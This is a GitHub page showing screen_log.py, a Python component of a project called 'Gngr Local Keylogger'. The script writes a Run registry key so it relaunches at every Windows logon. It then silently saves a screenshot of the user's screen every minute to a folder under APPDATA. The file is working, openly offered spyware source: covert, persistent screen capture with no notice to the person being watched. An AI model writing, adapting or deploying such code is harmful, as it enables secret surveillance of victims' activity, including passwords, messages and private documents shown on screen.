-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathscreen_log.py
56 lines (47 loc) · 1.73 KB
/
screen_log.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
############################################################################
#
# screen_log.py (Gngr Local Keylogger)
# © 2021 ABDULKADİR GÜNGÖR All Rights Reserved
# Contact email address: abdulkadir_gungor@outlook.com
#
# Developper: Abdulkadir GÜNGÖR (abdulkadir_gungor@outlook.com)
# Date: 04/2021
# All Rights Reserved (Tüm Hakları Saklıdır)
#
############################################################################
import os, time, winreg, pyautogui
def start_program():
# Create directory
try:
directory_check = "{}\\Gngr-keylogger-v1.0\\".format(os.getenv('APPDATA'))
res = os.path.isdir(directory_check)
if not res:
os.mkdir(directory_check)
except:
exit(0)
# Persistence
try:
reg_path = r'Software\Microsoft\Windows\CurrentVersion\Run'
reg_name = 'Gngr_screen_log'
reg_value = "{}\\Gngr-keylogger-v1.0\\screen_log.exe".format(os.getenv('APPDATA'))
#
winreg.CreateKey(winreg.HKEY_CURRENT_USER, reg_path)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, reg_path, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, reg_name, 0, winreg.REG_SZ, reg_value)
winreg.CloseKey(registry_key)
except:
pass
def start_screenlog():
#
path = "{}\\Gngr-keylogger-v1.0\\".format(os.getenv('APPDATA'))
second = 60
#
while True:
screenshot = pyautogui.screenshot()
timestr = time.strftime("%Y-%m-%d__%H-%M-%S")
fullpath = "{}\\{}__ScreenShot.png".format(path, timestr)
screenshot.save(fullpath)
time.sleep(second)
if __name__ == '__main__':
start_program()
start_screenlog()